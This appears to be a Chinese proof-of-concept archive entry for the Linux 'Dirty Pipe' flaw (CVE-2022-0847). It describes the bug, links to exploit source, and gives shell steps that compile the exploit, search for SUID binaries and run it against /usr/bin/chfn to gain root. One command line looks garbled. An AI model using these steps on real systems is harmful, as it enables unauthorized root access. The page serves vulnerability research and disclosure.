关联漏洞
标题:
Linux kernel 安全漏洞
(CVE-2022-0847)
描述:Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel 存在安全漏洞,该漏洞源于新管道缓冲区结构的“flag”变量在 Linux 内核中的 copy_page_to_iter_pipe 和 push_pipe 函数中缺乏正确初始化。非特权本地用户利用该漏洞可以提升权限至root。以下产品和版本受到影响:Linux Kernel 5.8-5.16.11、5.8-5.15.25、5.8-5.10.102。
描述
CVE-2022-0847-DirtyPipe-Exploit
介绍
# CVE-2022-0847-DirtyPipe
## 漏洞简介
3 月 7 日,国外的安全研究员 Max Kellermann 发布博客,披露了一处存在于Linux 内核中的本地提权漏洞 CVE-2022-0847:
https://dirtypipe.cm4all.com/
CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到特权 root。
CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞(Dirty Cow),但它更容易被利用。漏洞作者将此漏洞命名为"Dirty Pipe"。
## EXP使用
Link: https://haxx.in/files/dirtypipez.c
Author: Max Kellermann <max.kellermann@ionos.com>
```
gcc -o exp exploit.c
./exp +x ./exp
# 查找suid文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
./exp /usr/bin/chfn
```

文件快照
[4.0K] /data/pocs/7c76e33bbdf3589f7c0695f1d151401097f2dc3c
├── [7.2K] exploit.c
├── [4.0K] media
│ └── [4.0K] 16469174215294
│ └── [410K] 16469193729339.jpg
└── [ 980] README.md
2 directories, 3 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。